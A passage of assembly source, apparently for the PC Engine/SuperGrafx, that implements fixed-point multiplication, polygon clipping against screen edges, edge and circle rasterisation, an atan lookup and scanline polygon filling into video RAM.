<sqrt64b ldy <sqrt64a+1 lda [muladdr], y sta <sqrt64b+1 ldy <sqrt64a+2 lda [muladdr], y sta <sqrt64b+2 inc <muladdr+1 ldx #LOW(sqrt64b)+1 ldy <sqrt64a set adc [muladdr], y inx ldy <sqrt64a+1 set adc [muladdr], y ldy <sqrt64a+2 lda [muladdr], y adc #0 ;carry clear sta <sqrt64b+3 ;mul mul16c high byte ldy <mul16c+1 lda mul2bankdata, y tam #$02 lda mul2addrdata, y sta <muladdr+1 ldx #LOW(sqrt64b)+1 ldy <sqrt64a set adc [muladdr], y inx ldy <sqrt64a+1 set adc [muladdr], y inx ldy <sqrt64a+2 set adc [muladdr], y inc <muladdr+1 ldx #LOW(sqrt64b)+2 ldy <sqrt64a clc set adc [muladdr], y inx ldy <sqrt64a+1 set adc [muladdr], y movw <mul16a, <sqrt64b+2 pla bpl .jp01 ;ans neg sec cla sbc <mul16a sta <mul16a cla sbc <mul16a+1 sta <mul16a+1 .jp01: ;pull y ply ;pull x plx rts ;---------------------------- clip2D: ; clx ldy <clip2D0Count .loop0: lda clip2D0+1, x bne .clipOut lda clip2D0+3, x bne .clipOut lda clip2D0+2, x cmp #192 bcs .clipOut lda intTable+4, x tax dey bne .loop0 lda <clip2D0Count rts .clipOut: jsr clip2DY0 lda <clip2D1Count beq .clip2DEnd jsr clip2DY255 lda <clip2D0Count beq .clip2DEnd jsr clip2DX0 lda <clip2D1Count beq .clip2DEnd jsr clip2DX255 lda <clip2D0Count .clip2DEnd: rts ;---------------------------- clip2DX255: ; lda <clip2D1Count asl a asl a tax lda clip2D1 ;X0 sta clip2D1, x ;last X lda clip2D1+1 sta clip2D1+1, x lda clip2D1+2 ;Y0 sta clip2D1+2, x ;last Y lda clip2D1+3 sta clip2D1+3, x clx cly stz <clip2D0Count .clip2DX255Loop0: stz <clip2DFlag sec lda clip2D1, x ;X0 sbc #$00 lda clip2D1+1, x sbc #$01 bmi .clip2DX255Jump00 smb0 <clip2DFlag .clip2DX255Jump00: sec lda clip2D1+4, x ;X1 sbc #$00 lda clip2D1+5, x sbc #$01 bmi .clip2DX255Jump01 smb1 <clip2DFlag .clip2DX255Jump01: lda <clip2DFlag jeq .clip2DX255Jump02 cmp #$03 jeq .clip2DX255Jump03 ;(255-X0) to mul16a sec lda #255 sbc clip2D1, x ;X0 sta <mul16a lda #0 sbc clip2D1+1, x sta <mul16a+1 ;(Y1-Y0) to mul16b sec lda clip2D1+6, x ;Y1 sbc clip2D1+2, x ;Y0 sta <mul16b lda clip2D1+7, x sbc clip2D1+3, x sta <mul16b+1 ;(255-X0)*(Y1-Y0) to mul16d:mul16c jsr smul16 ;(X1-X0) to mul16a sec lda clip2D1+4, x ;X1 sbc clip2D1, x ;X0 sta <mul16a lda clip2D1+5, x sbc clip2D1+1, x sta <mul16a+1 ;(255-X0)*(Y1-Y0)/(X1-X0) jsr sdiv32 ;(255-X0)*(Y1-Y0)/(X1-X0)+Y0 clc lda <mul16a adc clip2D1+2, x ;Y0 sta <mul16a lda <mul16a+1 adc clip2D1+3, x sta <mul16a+1 bbs1 <clip2DFlag, .clip2DX255Jump04 ;X0>255 X1<=255 lda #$FF sta clip2D0, y ;X0 lda #$00 sta clip2D0+1, y lda <mul16a sta clip2D0+2, y ;Y0 lda <mul16a+1 sta clip2D0+3, y inc <clip2D0Count lda intTable+4, y tay bra .clip2DX255Jump03 .clip2DX255Jump04: ;X0<=255 X1>255 lda clip2D1, x ;X0 sta clip2D0, y ;X0 lda clip2D1+1, x sta clip2D0+1, y lda clip2D1+2, x ;Y0 sta clip2D0+2, y ;Y0 lda clip2D1+3, x sta clip2D0+3, y lda #$FF sta clip2D0+4, y ;X1 lda #$00 sta clip2D0+5, y lda <mul16a sta clip2D0+6, y ;Y1 lda <mul16a+1 sta clip2D0+7, y add <clip2D0Count, #$02 lda intTable+8, y tay bra .clip2DX255Jump03 .clip2DX255Jump02: ;X0<=255 X1<=255 lda clip2D1, x ;X0 sta clip2D0, y ;X0 lda clip2D1+1, x sta clip2D0+1, y lda clip2D1+2, x ;Y0 sta clip2D0+2, y ;Y0 lda clip2D1+3, x sta clip2D0+3, y inc <clip2D0Count lda intTable+4, y tay .clip2DX255Jump03: ;X0>255 X1>255 lda intTable+4, x tax dec <clip2D1Count jne .clip2DX255Loop0 rts ;---------------------------- clip2DX0: ; lda <clip2D0Count asl a asl a tax lda clip2D0 ;X0 sta clip2D0, x ;last X lda clip2D0+1 sta clip2D0+1, x lda clip2D0+2 ;Y0 sta clip2D0+2, x ;last Y lda clip2D0+3 sta clip2D0+3, x clx cly stz <clip2D1Count .clip2DX0Loop0: stz <clip2DFlag lda clip2D0+1,x ;X0 bpl .clip2DX0Jump00 smb0 <clip2DFlag .clip2DX0Jump00: lda clip2D0+5,x ;X1 bpl .clip2DX0Jump01 smb1 <clip2DFlag .clip2DX0Jump01: lda <clip2DFlag jeq .clip2DX0Jump02 cmp #$03 jeq .clip2DX0Jump03 ;(0-X0) to mul16a sec lda #0 sbc clip2D0, x ;X0 sta <mul16a lda #0 sbc clip2D0+1, x sta <mul16a+1 ;(Y1-Y0) to mul16b sec lda clip2D0+6, x ;Y1 sbc clip2D0+2, x ;Y0 sta <mul16b lda clip2D0+7, x sbc clip2D0+3, x sta <mul16b+1 ;(0-X0)*(Y1-Y0) to mul16d:mul16c jsr smul16 ;(X1-X0) to mul16a sec lda clip2D0+4, x ;X1 sbc clip2D0, x ;X0 sta <mul16a lda clip2D0+5, x sbc clip2D0+1, x sta <mul16a+1 ;(0-X0)*(Y1-Y0)/(X1-X0) jsr sdiv32 ;(0-X0)*(Y1-Y0)/(X1-X0)+Y0 clc lda <mul16a adc clip2D0+2, x ;Y0 sta <mul16a lda <mul16a+1 adc clip2D0+3, x sta <mul16a+1 bbs1 <clip2DFlag, .clip2DX0Jump04 ;X0<0 X1>=0 lda #$00 sta clip2D1, y ;X0 lda #$00 sta clip2D1+1, y lda <mul16a sta clip2D1+2, y ;Y0 lda <mul16a+1 sta clip2D1+3, y inc <clip2D1Count lda intTable+4, y tay bra .clip2DX0Jump03 .clip2DX0Jump04: ;X0>=0 X1<0 lda clip2D0, x ;X0 sta clip2D1, y ;X0 lda clip2D0+1, x sta clip2D1+1, y lda clip2D0+2, x ;Y0 sta clip2D1+2, y ;Y0 lda clip2D0+3, x sta clip2D1+3, y lda #$00 sta clip2D1+4, y ;X1 lda #$00 sta clip2D1+5, y lda <mul16a sta clip2D1+6, y ;Y1 lda <mul16a+1 sta clip2D1+7, y add <clip2D1Count, #$02 lda intTable+8, y tay bra .clip2DX0Jump03 .clip2DX0Jump02: ;X0>=0 X1>=0 lda clip2D0, x ;X0 sta clip2D1, y ;X0 lda clip2D0+1, x sta clip2D1+1, y lda clip2D0+2, x ;Y0 sta clip2D1+2, y ;Y0 lda clip2D0+3, x sta clip2D1+3, y inc <clip2D1Count lda intTable+4, y tay .clip2DX0Jump03: ;X0<0 X1<0 lda intTable+4, x tax dec <clip2D0Count jne .clip2DX0Loop0 rts ;---------------------------- clip2DY255: ; lda <clip2D1Count asl a asl a tax lda clip2D1 ;X0 sta clip2D1, x ;last X lda clip2D1+1 sta clip2D1+1, x lda clip2D1+2 ;Y0 sta clip2D1+2, x ;last Y lda clip2D1+3 sta clip2D1+3, x clx cly stz <clip2D0Count .clip2DY255Loop0: stz <clip2DFlag sec lda clip2D1+2, x ;Y0 sbc #192 lda clip2D1+3, x sbc #0 bmi .clip2DY255Jump00 smb0 <clip2DFlag .clip2DY255Jump00: sec lda clip2D1+6, x ;Y1 sbc #192 lda clip2D1+7, x sbc #0 bmi .clip2DY255Jump01 smb1 <clip2DFlag .clip2DY255Jump01: lda <clip2DFlag jeq .clip2DY255Jump02 cmp #$03 jeq .clip2DY255Jump03 . ;(191-Y0) to mul16a sec lda #191 sbc clip2D1+2, x ;Y0 sta <mul16a lda #0 sbc clip2D1+3, x sta <mul16a+1 ;(X1-X0) to mul16b sec lda clip2D1+4, x ;X1 sbc clip2D1, x ;X0 sta <mul16b lda clip2D1+5, x sbc clip2D1+1, x sta <mul16b+1 ;(191-Y0)*(X1-X0) to mul16d:mul16c jsr smul16 ;(Y1-Y0) to mul16a sec lda clip2D1+6, x ;Y1 sbc clip2D1+2, x ;Y0 sta <mul16a lda clip2D1+7, x sbc clip2D1+3, x sta <mul16a+1 ;(191-Y0)*(X1-X0)/(Y1-Y0) jsr sdiv32 ;(191-Y0)*(X1-X0)/(Y1-Y0)+X0 clc lda <mul16a adc clip2D1, x ;X0 sta <mul16a lda <mul16a+1 adc clip2D1+1, x sta <mul16a+1 bbs1 <clip2DFlag, .clip2DY255Jump04 ;Y0>191 Y1<=191 lda <mul16a sta clip2D0, y ;X0 lda <mul16a+1 sta clip2D0+1, y lda #191 sta clip2D0+2, y ;Y0 lda #0 sta clip2D0+3, y inc <clip2D0Count lda intTable+4, y tay bra .clip2DY255Jump03 .clip2DY255Jump04: ;Y0<=191 Y1>191 lda clip2D1, x ;X0 sta clip2D0, y ;X0 lda clip2D1+1, x sta clip2D0+1, y lda clip2D1+2, x ;Y0 sta clip2D0+2, y ;Y0 lda clip2D1+3, x sta clip2D0+3, y lda <mul16a sta clip2D0+4, y ;X1 lda <mul16a+1 sta clip2D0+5, y lda #191 sta clip2D0+6, y ;Y1 lda #0 sta clip2D0+7, y add <clip2D0Count, #$02 lda intTable+8, y tay bra .clip2DY255Jump03 .clip2DY255Jump02: ;Y0<=191 Y1<=191 lda clip2D1, x ;X0 sta clip2D0, y ;X0 lda clip2D1+1, x sta clip2D0+1, y lda clip2D1+2, x ;Y0 sta clip2D0+2, y ;Y0 lda clip2D1+3, x sta clip2D0+3, y inc <clip2D0Count lda intTable+4, y tay .clip2DY255Jump03: ;Y0>191 Y1>191 lda intTable+4, x tax dec <clip2D1Count jne .clip2DY255Loop0 rts ;---------------------------- clip2DY0: ; lda <clip2D0Count asl a asl a tax lda clip2D0 ;X0 sta clip2D0, x ;last X lda clip2D0+1 sta clip2D0+1, x lda clip2D0+2 ;Y0 sta clip2D0+2, x ;last Y lda clip2D0+3 sta clip2D0+3, x clx cly stz <clip2D1Count .clip2DY0Loop0: stz <clip2DFlag lda clip2D0+3, x ;Y0 bpl .clip2DY0Jump00 smb0 <clip2DFlag .clip2DY0Jump00: lda clip2D0+7, x ;Y1 bpl .clip2DY0Jump01 smb1 <clip2DFlag .clip2DY0Jump01: lda <clip2DFlag jeq .clip2DY0Jump02 cmp #$03 jeq .clip2DY0Jump03 . ;(0-Y0) to mul16a sec lda #0 sbc clip2D0+2, x ;Y0 sta <mul16a lda #0 sbc clip2D0+3, x sta <mul16a+1 ;(X1-X0) to mul16b sec lda clip2D0+4, x ;X1 sbc clip2D0, x ;X0 sta <mul16b lda clip2D0+5, x sbc clip2D0+1, x sta <mul16b+1 ;(0-Y0)*(X1-X0) to mul16d:mul16c jsr smul16 ;(Y1-Y0) to mul16a sec lda clip2D0+6, x ;Y1 sbc clip2D0+2, x ;Y0 sta <mul16a lda clip2D0+7, x sbc clip2D0+3, x sta <mul16a+1 ;(0-Y0)*(X1-X0)/(Y1-Y0) jsr sdiv32 ;(0-Y0)*(X1-X0)/(Y1-Y0)+X0 clc lda <mul16a adc clip2D0, x ;X0 sta <mul16a lda <mul16a+1 adc clip2D0+1, x sta <mul16a+1 bbs1 <clip2DFlag, .clip2DY0Jump04 ;Y0<0 Y1>=0 lda <mul16a sta clip2D1, y ;X0 lda <mul16a+1 sta clip2D1+1, y lda #$00 sta clip2D1+2, y ;Y0 lda #$00 sta clip2D1+3, y inc <clip2D1Count lda intTable+4, y tay bra .clip2DY0Jump03 .clip2DY0Jump04: ;Y0>=0 Y1<0 lda clip2D0, x ;X0 sta clip2D1, y ;X0 lda clip2D0+1, x sta clip2D1+1, y lda clip2D0+2, x ;Y0 sta clip2D1+2, y ;Y0 lda clip2D0+3, x sta clip2D1+3, y lda <mul16a sta clip2D1+4, y ;X1 lda <mul16a+1 sta clip2D1+5, y lda #$00 sta clip2D1+6, y ;Y1 lda #$00 sta clip2D1+7, y add <clip2D1Count, #$02 lda intTable+8, y tay bra .clip2DY0Jump03 .clip2DY0Jump02: ;Y0>=0 Y1>=0 lda clip2D0, x ;X0 sta clip2D1, y ;X0 lda clip2D0+1, x sta clip2D1+1, y lda clip2D0+2, x ;Y0 sta clip2D1+2, y ;Y0 lda clip2D0+3, x sta clip2D1+3, y inc <clip2D1Count lda intTable+4, y tay .clip2DY0Jump03: ;Y0<0 Y1<0 lda intTable+4, x tax dec <clip2D0Count jne .clip2DY0Loop0 rts ;---------------------------- calcEdge_putPoly: ; lda <clip2D0Count asl a asl a tax lda clip2D0 sta clip2D0, x lda clip2D0+2 sta clip2D0+2, x mov <minEdgeY, #$FF jsr initCalcEdge clx ;first process lda clip2D0, x sta <edgeX0 lda clip2D0+2, x sta <edgeY0 cmp <minEdgeY jcs .calcEdge_putPolyJump3 sta <minEdgeY .calcEdge_putPolyJump3: lda clip2D0+4, x sta <edgeX1 lda clip2D0+6, x sta <edgeY1 phx jsr calcEdge0 ply ldx intTable+4, y dec <clip2D0Count ;next process .calcEdge_putPolyLoop0: lda clip2D0, x sta <edgeX0 lda clip2D0+2, x sta <edgeY0 cmp <minEdgeY jcs .calcEdge_putPolyJump2 sta <minEdgeY .calcEdge_putPolyJump2: lda clip2D0+4, x sta <edgeX1 lda clip2D0+6, x sta <edgeY1 phx jsr calcEdge ply ldx intTable+4, y dec <clip2D0Count bne .calcEdge_putPolyLoop0 jsr putPolyLine rts ;---------------------------- calcEdge: ;calculation edge Y sec lda <edgeY1 sbc <edgeY0 beq .edgeJump6 sta <edgeSlopeY jcs .edgeJump7 eor #$FF inc a sta <edgeSlopeY ;edgeY0 > edgeY1 exchange X0<->X1 Y0<->Y1 lda <edgeX0 ldx <edgeX1 sta <edgeX1 stx <edgeX0 lda <edgeY0 ldx <edgeY1 sta <edgeY1 stx <edgeY0 jmp .edgeJump7 .edgeJump6: ;edgeY0 = edgeY1 ldy <edgeX0 ldx <edgeY0 setEdgeBufferm ldy <edgeX1 setEdgeBufferm rts .edgeJump7: ;calculation edge X sec lda <edgeX1 sbc <edgeX0 beq .edgeJump1 sta <edgeSlopeX stz <edgeSigneX bcs .edgeJump3 eor #$FF inc a sta <edgeSlopeX mov <edgeSigneX, #$FF bra .edgeJump3 .edgeJump1: ;edgeX0 = edgeX1 ldy <edgeX0 ldx <edgeY0 .edgeLoop0: setEdgeBufferm cpx <edgeY1 beq .edgeJump9 inx bra .edgeLoop0 .edgeJump9: rts .edgeJump3: ;edgeSlope compare lda <edgeSlopeY cmp <edgeSlopeX jcs .edgeJump4 ;edgeSlopeX > edgeSlopeY ;edgeSlope initialize lda <edgeSlopeX eor #$FF inc a ;check edgeSigneX bbs7 <edgeSigneX, .edgeJump10 ;edgeSigneX plus ldy <edgeX0 ldx <edgeY0 .edgeXLoop0: pha setEdgeBufferm pla .edgeXLoop1: cpy <edgeX1 beq .edgeXLoop3 iny adc <edgeSlopeY bcc .edgeXLoop1 sbc <edgeSlopeX inx bra .edgeXLoop0 .edgeXLoop3: rts ;edgeSigneX minus .edgeJump10: ldy <edgeX1 ldx <edgeY1 .edgeXLoop4: pha setEdgeBufferm pla .edgeXLoop5: cpy <edgeX0 beq .edgeXLoop7 iny adc <edgeSlopeY bcc .edgeXLoop5 sbc <edgeSlopeX dex bra .edgeXLoop4 .edgeXLoop7: rts .edgeJump4: ;edgeSlopeY >= edgeSlopeX ;edgeSlope initialize lda <edgeSlopeY eor #$FF inc a ldy <edgeX0 ldx <edgeY0 ;check edgeSigneX bbs7 <edgeSigneX, .edgeYLoop4 ;edgeSigneX plus .edgeYLoop0: pha setEdgeBufferm pla .edgeYLoop1: cpx <edgeY1 beq .edgeYLoop3 inx adc <edgeSlopeX bcc .edgeYLoop0 sbc <edgeSlopeY iny bra .edgeYLoop0 .edgeYLoop3: rts ;edgeSigneX minus .edgeYLoop4: pha setEdgeBufferm pla .edgeYLoop5: cpx <edgeY1 beq .edgeYLoop7 inx adc <edgeSlopeX bcc .edgeYLoop4 sbc <edgeSlopeY dey bra .edgeYLoop4 .edgeYLoop7: rts ;---------------------------- calcEdge0: ;calculation edge Y sec lda <edgeY1 sbc <edgeY0 beq .edgeJump6 sta <edgeSlopeY jcs .edgeJump7 eor #$FF inc a sta <edgeSlopeY ;edgeY0 > edgeY1 exchange X0<->X1 Y0<->Y1 lda <edgeX0 ldx <edgeX1 sta <edgeX1 stx <edgeX0 lda <edgeY0 ldx <edgeY1 sta <edgeY1 stx <edgeY0 jmp .edgeJump7 .edgeJump6: ;edgeY0 = edgeY1 ldy <edgeX0 ldx <edgeY0 setEdgeBuffer0m ldy <edgeX1 setEdgeBufferm rts .edgeJump7: ;calculation edge X sec lda <edgeX1 sbc <edgeX0 beq .edgeJump1 sta <edgeSlopeX stz <edgeSigneX bcs .edgeJump3 eor #$FF inc a sta <edgeSlopeX mov <edgeSigneX, #$FF bra .edgeJump3 .edgeJump1: ;edgeX0 = edgeX1 ldy <edgeX0 ldx <edgeY0 .edgeLoop0: setEdgeBuffer0m cpx <edgeY1 beq .edgeJump9 inx bra .edgeLoop0 .edgeJump9: rts .edgeJump3: ;edgeSlope compare lda <edgeSlopeY cmp <edgeSlopeX jcs .edgeJump4 ;edgeSlopeX > edgeSlopeY ;edgeSlope initialize lda <edgeSlopeX eor #$FF inc a ;check edgeSigneX bbs7 <edgeSigneX, .edgeJump10 ;edgeSigneX plus ldy <edgeX0 ldx <edgeY0 .edgeXLoop0: pha setEdgeBuffer0m pla .edgeXLoop1: cpy <edgeX1 beq .edgeXLoop3 iny adc <edgeSlopeY bcc .edgeXLoop1 sbc <edgeSlopeX inx bra .edgeXLoop0 .edgeXLoop3: rts ;edgeSigneX minus .edgeJump10: ldy <edgeX1 ldx <edgeY1 .edgeXLoop4: pha setEdgeBuffer0m pla .edgeXLoop5: cpy <edgeX0 beq .edgeXLoop7 iny adc <edgeSlopeY bcc .edgeXLoop5 sbc <edgeSlopeX dex bra .edgeXLoop4 .edgeXLoop7: rts .edgeJump4: ;edgeSlopeY >= edgeSlopeX ;edgeSlope initialize lda <edgeSlopeY eor #$FF inc a ldy <edgeX0 ldx <edgeY0 ;check edgeSigneX bbs7 <edgeSigneX, .edgeYLoop4 ;edgeSigneX plus .edgeYLoop0: pha setEdgeBuffer0m pla .edgeYLoop1: cpx <edgeY1 beq .edgeYLoop3 inx adc <edgeSlopeX bcc .edgeYLoop0 sbc <edgeSlopeY iny bra .edgeYLoop0 .edgeYLoop3: rts ;edgeSigneX minus .edgeYLoop4: pha setEdgeBuffer0m pla .edgeYLoop5: cpx <edgeY1 beq .edgeYLoop7 inx adc <edgeSlopeX bcc .edgeYLoop4 sbc <edgeSlopeY dey bra .edgeYLoop4 .edgeYLoop7: rts ;---------------------------- calcCircle: ; ;top < 192 sec lda <circleCenterY sbc <circleRadius sta <circleYTop lda <circleCenterY+1 sbc <circleRadius+1 bmi .jp11 beq .jp10 jmp .jpEnd .jp10: lda <circleYTop cmp #192 jcc .jp11 jmp .jpEnd .jp11: ;bottom >= 0 clc lda <circleCenterY adc <circleRadius lda <circleCenterY+1 adc <circleRadius+1 bpl .jp12 jmp .jpEnd .jp12: ;left < 256 sec lda <circleCenterX sbc <circleRadius lda <circleCenterX+1 sbc <circleRadius+1 bmi .jp13 beq .jp13 jmp .jpEnd .jp13: ;right >= 0 clc lda <circleCenterX adc <circleRadius lda <circleCenterX+1 adc <circleRadius+1 bpl .jp14 jmp .jpEnd .jp14: mov <minEdgeY, #$FF subw <circleD, #1, <circleRadius movw <circleDH, #3 movw <circleDD, <circleRadius asl <circleDD rol <circleDD+1 sec lda #5 sbc <circleDD sta <circleDD lda #0 sbc <circleDD+1 sta <circleDD+1 movw <circleX, <circleRadius stzw <circleY .loop0: sec lda <circleY sbc <circleX sta <circleTmp lda <circleY+1 sbc <circleX+1 bmi .jp00 ora <circleTmp beq .jp00 jmp .jpEnd .jp00: bbr7 <circleD+1, .jp01 clc lda <circleD adc <circleDH sta <circleD lda <circleD+1 adc <circleDH+1 sta <circleD+1 clc lda <circleDH adc #2 sta <circleDH lda <circleDH+1 adc #0 sta <circleDH+1 clc lda <circleDD adc #2 sta <circleDD lda <circleDD+1 adc #0 sta <circleDD+1 bra .jp02 .jp01: clc lda <circleD adc <circleDD sta <circleD lda <circleD+1 adc <circleDD+1 sta <circleD+1 clc lda <circleDH adc #2 sta <circleDH lda <circleDH+1 adc #0 sta <circleDH+1 clc lda <circleDD adc #4 sta <circleDD lda <circleDD+1 adc #0 sta <circleDD+1 sec lda <circleX sbc #1 sta <circleX lda <circleX+1 sbc #0 sta <circleX+1 .jp02: ;---------------- clc lda <circleCenterX adc <circleX sta <circleXRight lda <circleCenterX+1 adc <circleX+1 sta <circleXRight+1 sec lda <circleCenterX sbc <circleX sta <circleXLeft lda <circleCenterX+1 sbc <circleX+1 sta <circleXLeft+1 clc lda <circleCenterY adc <circleY sta <circleYWork lda <circleCenterY+1 adc <circleY+1 sta <circleYWork+1 jsr setCircleEdge ;---------------- sec lda <circleCenterY sbc <circleY sta <circleYWork lda <circleCenterY+1 sbc <circleY+1 sta <circleYWork+1 jsr setCircleEdge ;---------------- clc lda <circleCenterX adc <circleY sta <circleXRight lda <circleCenterX+1 adc <circleY+1 sta <circleXRight+1 sec lda <circleCenterX sbc <circleY sta <circleXLeft lda <circleCenterX+1 sbc <circleY+1 sta <circleXLeft+1 clc lda <circleCenterY adc <circleX sta <circleYWork lda <circleCenterY+1 adc <circleX+1 sta <circleYWork+1 jsr setCircleEdge ;---------------- sec lda <circleCenterY sbc <circleX sta <circleYWork lda <circleCenterY+1 sbc <circleX+1 sta <circleYWork+1 jsr setCircleEdge clc lda <circleY adc #1 sta <circleY lda <circleY+1 adc #0 sta <circleY+1 jmp .loop0 .jpEnd: rts ;---------------------------- setCircleEdge: ; lda <circleYWork+1 bne .endSet ldy <circleYWork cpy #192 bcs .endSet lda <circleXLeft+1 beq .jp00 bpl .endSet stz <circleXLeft .jp00: lda <circleXRight+1 bmi .endSet beq .jp01 mov <circleXRight, #$FF .jp01: cpy <minEdgeY jcs .jp02 sty <minEdgeY .jp02: lda #2 sta edgeCount, y lda <circleXLeft sta edgeLeft, y lda <circleXRight sta edgeRight, y .endSet: rts ;---------------------------- initCalcEdge: ;initialize calculation edge lda #$FF sta edgeCount tii edgeCount, edgeCount+1, 192 rts ;---------------------------- setBAT: ;set BAT mov VDC1_0, #$00 movw VDC1_2, #$0000 mov VDC1_0, #$02 mov VDC2_0, #$00 movw VDC2_2, #$0000 mov VDC2_0, #$02 movw <setBatWork, #$0400 .clearbatloop0: movw VDC1_2, <setBatWork movw VDC2_2, <setBatWork addw <setBatWork, #$0002 cmpw2 <setBatWork, #$0800 bcc .clearbatloop0 movw <setBatWork, #$0401 .clearbatloop1: movw VDC1_2, <setBatWork movw VDC2_2, <setBatWork addw <setBatWork, #$0002 cmpw2 <setBatWork, #$0801 bcc .clearbatloop1 rts ;---------------------------- atan: ;mul16a = x(-32768_32767), mul16b = y(-32768_32767) ;A(0_255) = atan(y/x) phx lda <mul16b+1 pha bpl .atanJump0 sec lda <mul16b eor #$FF adc #0 sta <mul16b lda <mul16b+1 eor #$FF adc #0 sta <mul16b+1 .atanJump0: lda <mul16a+1 pha bpl .atanJump1 sec lda <mul16a eor #$FF adc #0 sta <mul16a lda <mul16a+1 eor #$FF adc #0 sta <mul16a+1 .atanJump1: jsr _atan plx bpl .atanJump2 eor #$FF inc a eor #$80 .atanJump2: plx bpl .atanJump3 eor #$FF inc a .atanJump3: plx rts ;---------------------------- _atan: ;mul16a = x(0_65535), mul16b = y(0_65535) ;A(0_63) = atan(y/x) phx lda <mul16a ora <mul16a+1 beq .atanJump0 stz <mul16c lda <mul16b sta <mul16c+1 lda <mul16b+1 sta <mul16d stz <mul16d+1 asl <mul16c+1 rol <mul16d rol <mul16d+1 sec lda <mul16d sbc <mul16a lda <mul16d+1 sbc <mul16a+1 bcs .atanJump0 jsr udiv32 clx .atanLoop: sec lda atanDataLow, x sbc <div16a lda atanDataHigh, x sbc <div16a+1 bcs .atanJump1 inx cpx #64 bne .atanLoop .atanJump1: txa bra .atanEnd .atanJump0: lda #64 .atanEnd: plx rts ;//////////////////////////// .bank 2 .org $C000 ;---------------------------- putPolyLine: ;put poly line ldy <minEdgeY bra .loopStart ;loop .loop0: cli iny .loopStart: lda edgeCount, y bpl .putPolyProc rts .putPolyProc: ;disable interrupt sei ;set poly color tya and #$01 ora <polyLineColorNo tax lda polyLineColorData0, x sta <polyLineColorDataWork0 lda polyLineColorData1, x sta <polyLineColorDataWork1 lda polyLineColorData2, x sta <polyLineColorDataWork2 lda polyLineColorData3, x sta <polyLineColorDataWork3 bbr5 <polyLineColorNo, .colorEnd ora <polyLineColorDataWork0 ora <polyLineColorDataWork1 ora <polyLineColorDataWork2 beq .loop0 .colorEnd: ;calation vram address ;left ;left address ldx edgeLeft,y lda polyLineAddrConvYLow0, y ora polyLineAddrConvXLow0, x sta <polyLineLeftAddr lda polyLineAddrConvYHigh0, y ora polyLineAddrConvXHigh0, x sta <polyLineLeftAddr+1 lda polyLineAddrConvX, x sta <polyLineCount lda polyLineLeftDatas, x sta <polyLineLeftData eor #$FF sta <polyLineLeftMask ;right ldx edgeRight,y ;calation counts sec lda polyLineAddrConvX, x sbc <polyLineCount ;count 0 jeq .polyLineJump03 sta <polyLineCount ;right address lda polyLineAddrConvYLow0, y ora polyLineAddrConvXLow0, x sta <polyLineRightAddr lda polyLineAddrConvYHigh0, y ora polyLineAddrConvXHigh0, x sta <polyLineRightAddr+1 lda polyLineRightDatas, x sta <polyLineRightData eor #$FF sta <polyLineRightMask ;put line lda <selectVdc cmp #VDC2 jeq .vdc2Jp ;VDC1 .vdc1Jp: stz VPC_6 ;select VDC#1 ;center jump index lda <polyLineCount asl a tax phy ;VDC1 left 0 1 lda <polyLineLeftAddr ldy <polyLineLeftAddr+1 st0 #$00 sta VDC1_2 sty VDC1_3 st0 #$01 sta VDC1_2 sty VDC1_3 st0 #$02 lda VDC1_2 and <polyLineLeftMask sta <polyLineDataLow lda VDC1_3 and <polyLineLeftMask sta <polyLineDataHigh lda <polyLineColorDataWork0 and <polyLineLeftData ora <polyLineDataLow sta VDC1_2 lda <polyLineColorDataWork1 and <polyLineLeftData ora <polyLineDataHigh sta VDC1_3 ;VDC1 center 0 1 lda <polyLineColorDataWork0 ldy <polyLineColorDataWork1 jmp [.centerVDC1_01Addr, x] .centerVDC1_01: putPolyLineV1lm ;VDC1 right 0 1 lda <polyLineRightAddr ldy <polyLineRightAddr+1 st0 #$00 sta VDC1_2 sty VDC1_3 st0 #$01 sta VDC1_2 sty VDC1_3 st0 #$02 lda VDC1_2 and <polyLineRightMask sta <polyLineDataLow lda VDC1_3 and <polyLineRightMask sta <polyLineDataHigh lda <polyLineColorDataWork0 and <polyLineRightData ora <polyLineDataLow sta VDC1_2 lda <polyLineColorDataWork1 and <polyLineRightData ora <polyLineDataHigh sta VDC1_3 ;VDC1 left 2 3 lda <polyLineLeftAddr ora #$08 ldy <polyLineLeftAddr+1 st0 #$00 sta VDC1_2 sty VDC1_3 st0 #$01 sta VDC1_2 sty VDC1_3 st0 #$02 lda VDC1_2 and <polyLineLeftMask sta <polyLineDataLow lda VDC1_3 and <polyLineLeftMask sta <polyLineDataHigh lda <polyLineColorDataWork2 and <polyLineLeftData ora <polyLineDataLow sta VDC1_2 lda <polyLineColorDataWork3 and <polyLineLeftData ora <polyLineDataHigh sta VDC1_3 ;VDC1 center 2 3 lda <polyLineColorDataWork2 ldy <polyLineColorDataWork3 jmp [.centerVDC1_02Addr, x] .centerVDC1_02: putPolyLineV1lm ;VDC1 right 2 3 lda <polyLineRightAddr ora #$08 ldy <polyLineRightAddr+1 st0 #$00 sta VDC1_2 sty VDC1_3 st0 #$01 sta VDC1_2 sty VDC1_3 st0 #$02 lda VDC1_2 and <polyLineRightMask sta <polyLineDataLow lda VDC1_3 and <polyLineRightMask sta <polyLineDataHigh lda <polyLineColorDataWork2 and <polyLineRightData ora <polyLineDataLow sta VDC1_2 lda <polyLineColorDataWork3 and <polyLineRightData ora <polyLineDataHigh sta VDC1_3 ply ;loop jump jmp .loop0 ;VDC2 .vdc2Jp: lda #$01 sta VPC_6 ;select VDC#2 lda <polyLineCount asl a tax phy ;VDC2 left 0 1 lda <polyLineLeftAddr ldy <polyLineLeftAddr+1 st0 #$00 sta VDC2_2 sty VDC2_3 st0 #$01 sta VDC2_2 sty VDC2_3 st0 #$02 lda VDC2_2 and <polyLineLeftMask sta <polyLineDataLow lda VDC2_3 and <polyLineLeftMask sta <polyLineDataHigh lda <polyLineColorDataWork0 and <polyLineLeftData ora <polyLineDataLow sta VDC2_2 lda <polyLineColorDataWork1 and <polyLineLeftData ora <polyLineDataHigh sta VDC2_3 ;VDC2 center 0 1 lda <polyLineColorDataWork0 ldy <polyLineColorDataWork1 jmp [.centerVDC2_01Addr, x] .centerVDC2_01: putPolyLineV2lm ;VDC2 right 0 1 lda <polyLineRightAddr ldy <polyLineRightAddr+1 st0 #$00 sta VDC2_2 sty VDC2_3 st0 #$01 sta VDC2_2 sty VDC2_3 st0 #$02 lda VDC2_2 and <polyLineRightMask sta <polyLineDataLow lda VDC2_3 and <polyLineRightMask sta <polyLineDataHigh lda <polyLineColorDataWork0 and <polyLineRightData ora <polyLineDataLow sta VDC2_2 lda <polyLineColorDataWork1 and <polyLineRightData ora <polyLineDataHigh sta VDC2_3 ;VDC2 left 2 3 lda <polyLineLeftAddr ora #$08 ldy <polyLineLeftAddr+1 st0 #$00 sta VDC2_2 sty 